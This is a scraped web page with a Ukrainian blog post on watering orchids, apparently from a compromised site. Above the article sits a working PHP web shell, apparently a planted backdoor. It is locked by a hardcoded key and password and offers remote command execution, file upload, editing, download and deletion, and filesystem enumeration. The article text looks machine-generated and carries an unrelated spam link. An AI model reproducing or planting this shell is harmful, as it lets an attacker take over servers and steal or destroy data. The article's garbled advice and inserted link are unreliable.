if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Правила поливу орхідей для красивого і тривалого цвітіння – collectives.berlin

Your digital paradise.

Правила поливу орхідей для красивого і тривалого цвітіння

Вибір правильного способу зволоження – головний секрет розкішного цвітіння. Поливайте рослини раз на тиждень, уникаючи перезволоження. У літній період можна збільшити частоту до двох разів, https://koketka.com.ua але обов’язково слідкуйте за станом субстрату.

Перед поливом слід перевірити вологість ґрунту. Використовуйте пальцевий тест: якщо верхній шар сухий на глибину 2-3 см, настав час зволожити. Вода має бути кімнатної температури, щоб не викликати стрес у ваших зелених улюбленців. Пам’ятайте, що занадто холодна вода може негативно вплинути на кореневу систему.

Для оптимізації зростання використовуйте рідкі підживлення раз на місяць під час цвітіння. Вибирайте добрива з низьким вмістом азоту, оскільки його надлишок веде до буйного росту листя на шкоду квітам. Більш збалансовані формули покращать загальний стан рослини і підвищать кількість бутонів.

Як правильно визначити частоту поливу орхідей?

Визначте частоту зрошення залежно від стадії росту рослини. Під час активного розвитку, який триває весною та влітку, зволожуйте ґрунт частіше – приблизно раз на тиждень. У холодний період збільшуйте часовий проміжок між процедурами до двох-трьох тижнів.

Оцінка вологості субстрату

Періодично перевіряйте вологість ґрунту. Надзвичайно зручно використовувати звичайний пальцевий метод: вставте палець у субстрат на глибину 2-3 сантиметри. Якщо ґрунт сухий, настав час для зрошення. Вологість субстрату має бути помірною, адже надмірна вологість може призвести до загнивання коренів.

Вплив навколишнього середовища

Клімати та умови в кімнаті впливають на потреби в зрошенні. У сухих умовах повітря частоту можна збільшити, а в умовах з високою вологістю – зменшити. Температура також важлива: при високих температурах рослина потребує частого зволоження.

  • Таким чином, прохолодні приміщення потребують води рідше.
  • При температурі понад 25°C перевіряйте субстрат щотижня.
  • У разі особливої спеки додайте зволоження через обприскування.

Стежте за станом рослини. Якщо листя починає жовтіти або усихати, це може бути ознакою недостатнього зрошення. Удень обприскайте рослину, щоб створити оптимальну вологість: тоді зволоження коренів можна буде провести рідше.

Нарешті, не ігноруйте сезонність. У зимовий період, коли рослина в стані спокою, зменшуйте частоту водопостачання. Це зменшить ризик перезволоження та виходу з балансу. Пам’ятайте, що кожен вид може мати свої специфічні вимоги, тому вивчайте особливості конкретної рослини.

Яка температура води найкраща для поливу орхідей?

Оптимальна температура води для зволоження квітів коливається в межах 20-25°C. Підтримка цієї температури сприятиме кращому всотуванню вологи корінням.

Чому важливо контролювати температуру?

Вода, що має низьку температуру, може викликати стрес у рослин, уповільнюючи їх зростання. Гаряча рідина також негативно вплине на їхній розвиток, призводячи до опіків коренів.

Походження води також відіграє значну роль. Дощова або фільтрована рідина часто має оптимальну температуру всього дерева.

Методи контролю температури води

Перед поливом можна залишити воду у кімнаті на кілька годин, щоб вона досягла комфортної температури. Використання термометра дозволить точно контролювати цей параметр.

Для збереження постійної температури можна ставити ємність з водою на підвіконня або в іншому теплому місці. У холодні періоди року це особливо важливо.

Залежно від пори року варто враховувати, що температура води може варіюватися. Улітку допустимо використовувати трохи прохолоднішу вологу, в той час як узимку важливо, щоб вода була теплою.

Загалом, підтримка температури води в межах 20-25°C неодмінно забезпечить здоровий ріст і активне цвітіння рослин. Тому дотримуйтесь цих рекомендацій для отримання ідеального результату.

Leave a Reply

Your email address will not be published. Required fields are marked *